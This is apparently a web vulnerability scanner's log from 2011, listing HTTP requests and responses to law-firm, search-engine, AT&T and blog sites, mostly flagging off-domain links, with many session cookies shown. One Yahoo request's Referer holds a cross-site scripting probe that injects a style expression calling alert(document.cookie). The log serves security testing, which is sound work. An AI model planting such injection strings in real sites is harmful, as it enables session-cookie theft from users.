HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:12:04 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.mayerbrownrowe.com/careeropportunities/index.asp Content-Length: 335 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2e45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.mayerbrownrowe.com/careeropportunities/index.asp">here</a> ...[SNIP]...
The response contains the following link to another domain:
http://www.mofomojo.com/
Request
GET /RealMedia/ads/click_lx.ads/vault.com/rankings/0/363/2/L9/180193437/Top/Vault20/MorrisonFo_V_Various_090910/08_09_Vault_LEAP_728x90.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:12:11 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.mofomojo.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5045525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.mofomojo.com/">here</a>.</p> <hr> <a ...[SNIP]...
GET /lh/view?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=wq HTTP/1.1 Host: picasaweb.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /lh/view?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wq HTTP/1.1 Host: picasaweb.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<p style="text-align: center"><a href="http://beonthe.net" title="Tenha seu site em 24h com o Be on the Net"> <img src="http://beonthe.net/accounts/beonthe.net/images/tenha_site_beonthenet_160x55.png" alt="Crie um site em 24h com o Be on the Net" title="Tenha seu site em 24h com o Be on the Net" /> </a></p>
<p style="text-align: center"><a href="http://bigbangcafe.net/" title="Apaixonados por camisetas originais, criativas e de qualidade"> <img src="http://rafael.adm.br/wp-content/uploads/2009/12/bbcafe_tees.png" alt="Apaixonados por camisetas originais, criativas e de qualidade" title="Apaixonados por camisetas originais, criativas e ...[SNIP]... <span class="menu"> | Powered by <a href="http://wordpress.org/">WordPress</a> ...[SNIP]... <p><a href="http://woothemes.com" title="WooThemes"><img src="http://rafael.adm.br/wp-content/themes/mainstream/images/woothemes.png" alt="WooThemes Logo" /> ...[SNIP]... </script> <script type="text/javascript" src="http://tcr.tynt.com/javascripts/Tracer.js?user=cYiTaGq0mr37xaadbiUzgI&s=160...=pb"></script> ...[SNIP]... </script> <script src="http://cdn.wibiya.com/Toolbars/dir_0009/Toolbar_9298/Loader_9298.js" type="text/javascript"></script> <script type="text/javascript" id="navegg" src="http://lt.navegg.com/lt.js?12596"></script> ...[SNIP]...
GET /?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: rafael.tauil.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html dir="ltr" lang="en-US"> <head> <meta http-equiv="Content-Type" content="application/xhtml+xml; charset=utf-8"/> <title></title> <link rel="shortcut icon" href="/favicon.ico ...[SNIP]... <li id="twitter"><a title="Siga-me no Twitter" href="https://twitter.com/tauil" target="_new">Twitter</a> ...[SNIP]... <li id="linkedin"><a title="Veja meu curriculum no LinkedIn" href="http://br.linkedin.com/in/tauil" target="_new">LinkedIn</a> ...[SNIP]... <li id="github"><a title="Veja o que ando codificando no meu github!" href="http://www.github.com/tauil" target="_new">Github</a> ...[SNIP]... <li id="lastfm"><a title="Esse .. o som que eu curto no Last.fm" href="http://www.last.fm/user/tauil_" target="_new">Last.fm</a> ...[SNIP]... <li id="facebook"><a title="Meu perfil no Facebook" href="http://www.facebook.com/rafael.tauil" target="_new">Facebook</a> ...[SNIP]... <li id="horaextra"><a title="Conhe..a o grupo #horaextra" href="http://horaextra.org" target="_new">#horaextra</a> ...[SNIP]... <li id="smallacts"><a title="Fa..o parte do Small Acts Manifesto" href="http://smallactsmanifesto.org/" target="_new">Fa..o parte do Small Acts Manifesto</a> ...[SNIP]... <li id="wwrails"><a title="Me recomende no Working With Rails" href="http://workingwithrails.com/recommendation/new/person/19934-rafael-borgonovi-tauil" target="_new">Me recomende no Working With Rails</a> ...[SNIP]... <div id="footer"><a href="http://www.enkiblog.com" title="A Ruby on Rails blogging app for the fashionable developer">Polished on Enki</a> ...[SNIP]...
GET /?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: ramonpage.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:18:15 GMT Server: Apache X-Powered-By: PHP/5.2.14 X-Pingback: http://ramonpage.com/xmlrpc.php Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25254
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt-br"> <head profile="http://gmpg.or ...[SNIP]... </script>
<script type="text/javascript" src="http://use.typekit.com/qfq5qkp.js"></script> ...[SNIP]... <p>Eu tive a grande honra de poder palestrar na <a href="http://sites.bcc.ic.uff.br/sc2010/" rel="external" class="external-link">Semana da Computa....o UFF</a> ...[SNIP]... <div style="text-align: center"><object id="__sse5755714" width="425" height="355" type="application/x-shockwave-flash" data="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=vocetemmedodeque-101112091548-phpapp02&stripped_title=semana-da-computao-uff-voc-tem-medo-de-qu&userName=ramonpg"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=vocetemmedodeque-101112091548-phpapp02&stripped_title=semana-da-computao-uff-voc-tem-medo-de-qu&userName=ramon ...[SNIP]... <p>Quando eu decidi entrar na miss..o <a href="http://www.devinrio.com.br" rel="external" class="external-link">Dev in Rio</a> eu j.. imaginava que a responsabilidade seria grande. Alguns amigos de <a href="http://horaextra.org" rel="external" class="external-link">#horaextra</a> ...[SNIP]... <p>O <a href="http://softwarelivre.org/fisl11" rel="external" class="external-link">FISL 11</a> ...[SNIP]... <p>Eu estive por l.. com alguns amigos de <a href="http://horaextra.org/" rel="external" class="external-link">#horaextra</a> ...[SNIP]... rd assumido (apesar de ter um estilo que disfarce um pouco isso). Sou idealista de boas pr..ticas de desenvolvimento web e gosto de criar projetos para internet. Al..m disso, fa..o parte da comunidade <a href="http://horaextra.org" rel="external" class="external-link">#horaextra</a> ...[SNIP]... <li id="github"><a href="http://github.com/ramonpage" rel="external">github — Social Coding</a> ...[SNIP]... <li id="delicious"><a href="http://delicious.com/ramonpage" rel="external">delicious — Social Bookmarking</a> ...[SNIP]... <li id="twitter"><a href="http://twitter.com/ramonpage" rel="external">Twitter</a> ...[SNIP]... <li id="facebook"><a href="http://facebook.com/ramonpage" rel="external">Facebook</a> ...[SNIP]... <p><a href="http://twitter.com/ramonpage" rel="external">Siga <strong> ...[SNIP]... </p>
The response contains the following link to another domain:
http://lawyers.findlaw.com/
Request
GET /_ylt=A0oG7pteJTdNLF4B4x8PxQt.;_ylu=X3oDMTExbTV0dDR1BHNlYwNzcgRwb3MDMQRjb2xvA2FjMgR2dGlkAwRsA1dTMQ--/SIG=11fc0te0f/EXP=1295546078/**http%3A//lawyers.findlaw.com/ HTTP/1.1 Host: rds.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:14:33 GMT Cache-Control: private, max-age=0, no-cache P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: http://lawyers.findlaw.com/ Connection: close Content-Type: text/html; charset=utf-8
The document has moved <A HREF="http://lawyers.findlaw.com/">here</A>.<P> <!-- rd09.search.ac2.yahoo.com uncompressed Wed Jan 19 10:14:33 PST 2011 -->
The response contains the following link to another domain:
http://www.lawyers.com/
Request
GET /_ylt=A0oG7pteJTdNLF4B5B8PxQt.;_ylu=X3oDMTExN3BqYWMwBHNlYwNzcgRwb3MDMgRjb2xvA2FjMgR2dGlkAwRsA1dTMQ--/SIG=11bb7ssvl/EXP=1295546078/**http%3A//www.lawyers.com/ HTTP/1.1 Host: rds.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:14:34 GMT Cache-Control: private, max-age=0, no-cache P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: http://www.lawyers.com/ Connection: close Content-Type: text/html; charset=utf-8
The document has moved <A HREF="http://www.lawyers.com/">here</A>.<P> <!-- rd03.search.ac2.yahoo.com uncompressed Wed Jan 19 10:14:34 PST 2011 -->
GET /scholar?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=ws HTTP/1.1 Host: scholar.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /scholar?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=ws HTTP/1.1 Host: scholar.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /a/mayberrylawfirm.com/learnestateplanning/?faa91 HTTP/1.1 Host: sites.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Robots-Tag: noarchive Last-Modified: Wed, 19 Jan 2011 14:23:13 GMT ETag: "1295446993138|#public|en|||0" Expires: Wed, 19 Jan 2011 18:14:41 GMT Date: Wed, 19 Jan 2011 18:14:41 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<title>Skadden - SEC Enforcement and Compliance</title>
<link href="scripts/skadden_mini.css" rel="styl ...[SNIP]... <td><a href="http://www.sec.gov/news/press/2010/2010-224.htm" target="_blank">SEC Charges Steven Rattner in Pay-to-Play Scheme Involving New York State Pension Fund</a> ...[SNIP]... <td><a href="http://www.sec.gov/news/press/2010/2010-225.htm" target="_blank">SEC Charges Former Madoff Employees with Fraud</a> ...[SNIP]... <td><a href="http://www.sec.gov/news/press/2010/2010-223.htm" target="_blank">SEC Charges New York Firms and Chief Compliance Officer for Inadequate Procedures to Protect Nonpublic Information</a> ...[SNIP]... <td><a href="http://www.sec.gov/news/press/2010/2010-220.htm" target="_blank">SEC Brings Additional Charges in Its Ongoing Investigations Into Two Insider Trading Rings</a> ...[SNIP]... <td><a href="http://www.finra.org/Newsroom/NewsReleases/2010/P122416" target="_blank">FINRA Fines Goldman Sachs $650,000 for Failing to Disclose Wells Notices</a> ...[SNIP]... <td><a href="http://www.sec.gov/news/press/2010/2010-214.htm" target="_blank">SEC Charges Seven Oil Services and Freight Forwarding Companies for Widespread Bribery of Customs Officials</a> ...[SNIP]...
The response contains the following links to other domains:
http://m.yp.com/
http://www.anywho.com/
http://www.atti.com/
http://www.buzz.com/
http://www.keen.com/
http://www.plusmo.com/
http://www.yp.com/
https://ssl.google-analytics.com/ga.js
Request
GET /NA3/ats/careers/jobSearch.jsp?org=YELLOWPAGES&cws=1 HTTP/1.1 Host: tbe.taleo.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:58:40 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=7DDBC697D275EF763B17C1E511BC0B4B.NA3_primary_jvm; Path=/NA3/ats P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 14364
The response contains the following link to another domain:
http://www.autotrader.com/?LNX=SPGCNENT
Request
GET /si/cm/tracking/clickredirect.aspx?sicontent=1&sicreative=5393359740&sitrackingid=216792860&client=ca-dp-sphere_related_xml HTTP/1.1 Host: track.searchignite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.AutoTrader.com?LNX=SPGCNENT">here</a>.</h2> </body></html>
GET /translate_t?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=wT HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:42 GMT Expires: Wed, 19 Jan 2011 15:25:42 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=fd53ccb56ad01477:TM=1295450742:LM=1295450742:S=d6PBw90tdGigAXpE; expires=Fri, 18-Jan-2013 15:25:42 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
GET /translate_t?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wT HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:42 GMT Expires: Wed, 19 Jan 2011 15:25:42 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=d1ad7660f84f0a57:TM=1295450742:LM=1295450742:S=28dMatX_jzaFirCR; expires=Fri, 18-Jan-2013 15:25:42 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
GET /share?url= HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /if?p=law+offices&partnerid=yhs-if-local1&fr=yhs-if-local1&ei=UTF-8 HTTP/1.1 Host: us.yhs.search.yahoo.com Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: B=80eipqp6i4psl&b=3&s=j8
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 17:54:38 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Cache-Control: private Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 4036
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title>law offices - Yahoo! Hosted Search Results</title><meta http-equiv="content-typ ...[SNIP]... </div><script src="http://l.yimg.com/a/lib/eu/yhs/iframe_20101028165000.js"></script> ...[SNIP]...
GET /?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: vp.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Server: nginx/0.7.65 Date: Wed, 19 Jan 2011 18:15:15 GMT Content-Type: text/html; charset=utf-8 Connection: close Status: 302 Found Location: http://posterous.com/sso/verify/6802e4064ad8241ebd172826cfa0bc7c?jumpto=%2F%3Futm_source%3Dhoraextra.org%26utm_medium%3Daffiliate%26utm_content%3Dtextlink%26utm_campaign%3Dhoraextra X-Runtime: 3 Set-Cookie: cookies_enabled=true; path=/ Cache-Control: no-cache Content-Length: 247 X-Varnish: 2097388113 Age: 0 Via: 1.1 varnish X-Cache: MISS
<html><body>You are being <a href="http://posterous.com/sso/verify/6802e4064ad8241ebd172826cfa0bc7c?jumpto=%2F%3Futm_source%3Dhoraextra.org%26utm_medium%3Daffiliate%26utm_content%3Dtextlink%26utm_campaign%3Dhoraextra">redirected</a> ...[SNIP]...
GET /domainserve/domainView?dn=testdomain123.com/?popunder=1 HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /search?q=cache:3rvRzOiWwe0J:www.dccouncil.washington.dc.us/dcofficialcode+washington,+dc+law&cd=1&hl=en&ct=clnk&gl=us HTTP/1.1 Host: webcache.googleusercontent.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=0 Date: Wed, 19 Jan 2011 15:26:11 GMT Expires: -1 Server: gws X-XSS-Protection: 1; mode=block Connection: close
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <base href="http://www.dccouncil.washington.dc.us/dcofficialcode"><div style="margin:-1px -1px 0;padding:0;border:1px solid #999;background:#fff"><div style="margin:12px;padding:8px;border:1px solid #999;background:#ddd;font:13px arial,sans-serif;color:#000;font-weight:normal;text-align:left">This is Google's cache of <a href="http://www.dccouncil.washington.dc.us/dcofficialcode" style="text-decoration:underline;color:#00c">http://www.dccouncil.washington.dc.us/dcofficialcode</a>. It is a snapshot of the page as it appeared on Jan 16, 2011 14:44:33 GMT. The <a href="http://www.dccouncil.washington.dc.us/dcofficialcode" style="text-decoration:underline;color:#00c">current page</a> could have changed in the meantime. <a href="http://www.google.com/intl/en/help/features_list.html#cached" style="text-decoration:underline;color:#00c">Learn more</a> ...[SNIP]... <link rel="icon" href="favicon.ico" /> <link rel="Home" type="text/html" href="http://www.dccouncil.us" title="Homepage" /> <link rel="Start" type="text/html" href="http://www.dccouncil.us" title="Homepage" /> <link rel="Bookmark" title="Council of the District of Columbia" href="http://www.dccouncil.us" />
| <a id="PageFooter_HyperLink1" title="Distric of Columbia Homepage" href="http://www.dc.gov" target="_blank"><b style="color:black;background-color:#a0ffff"> ...[SNIP]...
GET /events.cfm?id=670&action=view HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html> <head>
<title>Arnold & Porter LLP - Natural Resource Damages: The Ground, Groundwater an ...[SNIP]... <p> <a href="http://www.lawseminars.com/detail.php?SeminarCode=11NRDFL" target="_blank">View Event Website</a> ...[SNIP]...
The response contains the following link to another domain:
http://www.itunes.com/podcast?id=378831191
Request
GET /multimedia.cfm?action=view&id=674&t=event HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:26:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html> <head>
<title>Arnold & Porter LLP - WEBCAST: Implications of the Dodd-Frank Act for Non- ...[SNIP]... <div class="formrow"> <a href="http://www.itunes.com/podcast?id=378831191"><img src="http://www.arnoldporter.com//images/iTunesButton.jpg" width="77" align="bottom" height="23" border="0" alt="Listen in iTunes" /> ...[SNIP]...
GET /publications.cfm?id=2795&action=view HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html> <head>
<title>Arnold & Porter LLP - Trade mark owner can object to resale of 'perfume te ...[SNIP]... <p> <a href="http://jeclap.oxfordjournals.org/content/early/2010/10/21/jeclap.lpq062.full.pdf?ijkey=susEWMn9zEmLtCQ&keytype=ref" target="_blank">View Publication (URL)</a> ...[SNIP]...
GET /?from=yellowpages.com HTTP/1.1 Host: www.att.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: no-cache Pragma: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV" X-ATG-Version: version=QVRHUGxhdGZvcm0vOS4xcDMgWyBEUFNMaWNlbnNlLzAgIF0= X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html; charset=UTF-8 Date: Wed, 19 Jan 2011 16:56:19 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: TLTHID=097A896E23ED10231F0DFE55850A7E9D; Path=/; Domain=.att.com Set-Cookie: TLTSID=097A896E23ED10231F0DFE55850A7E9D; Path=/; Domain=.att.com Set-Cookie: TLTUID=097A896E23ED10231F0DFE55850A7E9D; Path=/; Domain=.att.com; Expires=Wed, 19-01-2021 16:56:19 GMT Set-Cookie: B2CSESSIONID=BLRlN3XTYwGTsL!-1285921159; path=/; HttpOnly Set-Cookie: DYN_USER_ID=3512639302; path=/ Set-Cookie: DYN_USER_CONFIRM=636f53225ec4387e7d80550351a52335; path=/ Set-Cookie: ECOM_GTM=owaln_NA; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:19 GMT; path=/ Set-Cookie: cust_type=new; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:19 GMT; path=/ Set-Cookie: browserid=A001352485514; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:19 GMT; path=/ Set-Cookie: svariants=NA; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:19 GMT; path=/ Set-Cookie: BIGipServerpATTWL_7010_7011=3756118407.25115.0000; path=/ Content-Length: 41968
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http:/ ...[SNIP]... <li><a href="http://www.universalcard.com" onClick="dcsMultiTrack('DCS.dcsuri','','DCS.dcssip','www.universalcard','DCS.dcsref',window.location.href,'DCSext.wtLinkName','AT&T Universal Card','DCSext.wtLinkLoc','Link Farm','DCSext.wtNoHit','1','WT.svl','');">AT&T Universal Card</a> ...[SNIP]... <div class="logoBlock"> <a href="http://www.ctia.org" target="_blank"><img src="/homepage/Common/indc/homepage/images/footer/CTIA.gif" alt="The first nationwide carrier to be awarded the Seal of Wireless Quality. For details, visit www.ctia.org" title="The first nationwi ...[SNIP]... </a> <a href="https://www.bbb.org/online/consumer/cks.aspx?id=110020911221" target="_blank" ><img src="/homepage/Common/indc/homepage/images/footer/BBB.gif" border=0 alt="Click to verify BBB accreditation and to see a BBB report." title="Click to verify BBB accreditation and to see a BBB repor ...[SNIP]... </a> <a href="http://clicktoverify.truste.com/pvr.php?page=validate&companyName=AT%26T&sealid=101" target="_blank"><img src="/homepage/Common/indc/homepage/images/footer/Truste.gif" alt="This site is certified by TRUSTe" title="This site is certified by TRUSTe" /></a> <a href="http://www.yellowpages.com" target="_blank"><img src="/homepage/Common/indc/homepage/images/footer/ypcom.gif" alt="YP.com - the new yellowpages.com" title="YP.com - the new yellowpages.com" /></a> <a href="http://www.realpageslive.com" target="_blank"><img src="/homepage/Common/indc/homepage/images/footer/DWYPgs.gif" alt="Digital White & Yellow Pages" title="Digital White & Yellow Pages" class="yellowpages" style="margin-right:0px;" /> ...[SNIP]...
GET /gen/privacy-policy?pid=2587 HTTP/1.1 Host: www.att.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: IBM_HTTP_Server Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: policyref="http://www.att.com/w3c/p3p.xml",CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo TELo OUR OTRi IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE GOV" Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Date: Wed, 19 Jan 2011 16:56:26 GMT Content-Length: 14792 Connection: close Set-Cookie: JSID_coredisp=0000lkjVyoSYYR6G41qcBcCeBKC:14cq1kt38; Path=/
<!-- GTM CORE Display String -->
<!-- -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-trans ...[SNIP]... <!-- START CONTENT AREA -->
<script type="text/javascript" src="http://www.google-analytics.com/urchin.js"></script> ...[SNIP]... <div class="logoBlock"> <a href="http://www.ctia.org" target="_blank"><img src="//www.att.com/homepage/Common/indc/homepage/images/footer/CTIA.gif" alt="The first nationwide carrier to be awarded the Seal of Wireless Quality. For details, visit www.ctia.org" title="The f ...[SNIP]... </a> <a href="https://www.bbb.org/online/consumer/cks.aspx?id=110020911221" target="_blank" ><img src="//www.att.com/homepage/Common/indc/homepage/images/footer/BBB.gif" border=0 alt="Click to verify BBB accreditation and to see a BBB report." title="Click to verify BBB accreditation and to se ...[SNIP]... </a> <a href="http://clicktoverify.truste.com/pvr.php?page=validate&companyName=AT%26T&sealid=101" target="_blank"><img src="//www.att.com/homepage/Common/indc/homepage/images/footer/Truste.gif" alt="This site 